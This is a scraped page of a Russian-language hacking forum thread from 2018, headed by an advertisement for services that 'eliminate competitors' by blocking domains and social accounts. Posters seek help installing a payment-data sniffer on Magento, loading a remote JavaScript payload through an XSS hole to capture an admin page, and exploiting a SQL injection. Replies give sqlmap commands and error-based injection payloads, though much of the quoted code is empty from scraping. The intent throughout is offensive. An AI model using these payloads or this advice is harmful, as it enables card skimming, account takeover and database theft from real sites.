УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 224 из 296

224

Опции темы

Поиск в этой теме

Опции просмотра

#2231

04.02.2018, 16:44

Muracha

Guest

Сообщений: n/a

Провел на форуме:
54593

Репутация: 0

Цитата:

Сообщение от xaphan

xaphan said:
↑
Вряд ли там будут какие-то данные в открытом виде. Это ж система контроля версий (как и гит). Можно попытаться получить все файлы с исходными кодами, вот посоветую
этот
скрипт.

спасибо! помогло!

А есть ли подобная вещь для WYSIWYG? заточенная на поиск загрузку файлов и тд

dirb использую, dirbuster тоже но интересует более узкоспециализированное

#2232

04.02.2018, 17:48

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

Провел на форуме:
961428

Репутация: 662

Отправить сообщение для DezMond™ с помощью ICQ

Magento Version 1.8.1.0

Кто нить устанавливал снифер на эту версию? нужна помощь, в каком файле данные обрабатываются?

#2233

05.02.2018, 20:26

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Есть такои XSS вектор

Код:

Code:

Хочу сделать скриншот странице админа, нашел все необходимое, но скрипта очень много и засунуть в name="" получится но и за непонятнои фильтрации он никак не заработает, вариант такои засунуть в name="" что то типа инклуда и заинклудить весь .js, какие варианты инклуда есть типо

Код:

Code:

ЕСТЬ В JS ИНКЛУД ЧЕРЕЗ JS?

#2234

06.02.2018, 12:40

dmax0fw

Guest

Сообщений: n/a

Провел на форуме:
20361

Репутация: 46

Цитата:

Сообщение от Octavian

Octavian said:
↑
Есть такои XSS вектор

Код:

Code:

Код:

Code:

ЕСТЬ В JS ИНКЛУД ЧЕРЕЗ JS?

Код HTML:

HTML:

нужно учитывать, что для кроссдоменных запросов от сервера должен приходить заголовок Access-Control-Allow-Origin, поэтому мы делаем запрос не прямиком к js файлу а к php, который отправляет нужный нам заголовок и содержимое js пейлоада

содержимое самого php:

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

#2235

06.02.2018, 14:19

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Цитата:

Сообщение от dmax0fw

dmax0fw said:
↑

Код HTML:

HTML:

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

Не хочет

Код:

Code:

s.php

Код:

Code:

http://host/images/s/s.php

Код:

Code:
alert("1");

#2236

06.02.2018, 14:28

dmax0fw

Guest

Сообщений: n/a

Провел на форуме:
20361

Репутация: 46

Цитата:

Сообщение от Octavian

Octavian said:
↑
Не хочет

Код HTML:

HTML:

нужно дважды евалить

Код HTML:

HTML:

первый eval() выполняет код из name, то есть получает твой payload, а второй eval() уже выполняет данный payload

#2237

09.02.2018, 09:42

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

Вопрос по SQL injection

Код:

Code:
GET /getaddr.cgi?heataccount=%5c

.SpoilerTarget" type="button">Spoiler: скриншот

Код:

Code:
-u https://site.com/getaddr.cgi?heataccount=1%5c --dbs --no-cast --random-agent --dbms=mysql -v5 --level 2 --risk 3

Код:

Code:
-u https://site.com/getaddr.cgi?heataccount=%5c -p heataccount --dbs --no-cast --random-agent --level 2 --risk 3

Не катит он тупа не видит

Как раскрутить кто знает ?

#2238

09.02.2018, 10:48

erwerr2321

Guest

Сообщений: n/a

Провел на форуме:
759330

Репутация: 147

Цитата:

Сообщение от Sensoft

Sensoft said:
↑
Как раскрутить кто знает ?

Руками может?

#2239

09.02.2018, 15:00

karkajoi

Guest

Сообщений: n/a

Провел на форуме:
96779

Репутация: 5

Цитата:

Сообщение от Sensoft

Sensoft said:
↑
Вопрос по SQL injection

Код:

Code:
GET /getaddr.cgi?heataccount=%5c

Spoiler: скриншот

Код:

Code:
-u https://site.com/getaddr.cgi?heataccount=1%5c --dbs --no-cast --random-agent --dbms=mysql -v5 --level 2 --risk 3

Код:

Code:
-u https://site.com/getaddr.cgi?heataccount=%5c -p heataccount --dbs --no-cast --random-agent --level 2 --risk 3

Не катит он тупа не видит
Как раскрутить кто знает ?

level=5 попробуй в мапе, ну и руками error based вектор пробуй.

Код:

Code:
/getaddr.cgi?heataccount=1" and extractvalue(0x0a,concat(0x0a,(database()))--
/getaddr.cgi?heataccount=1" and updatexml(NULL,concat(0x3a,(database())),Null)--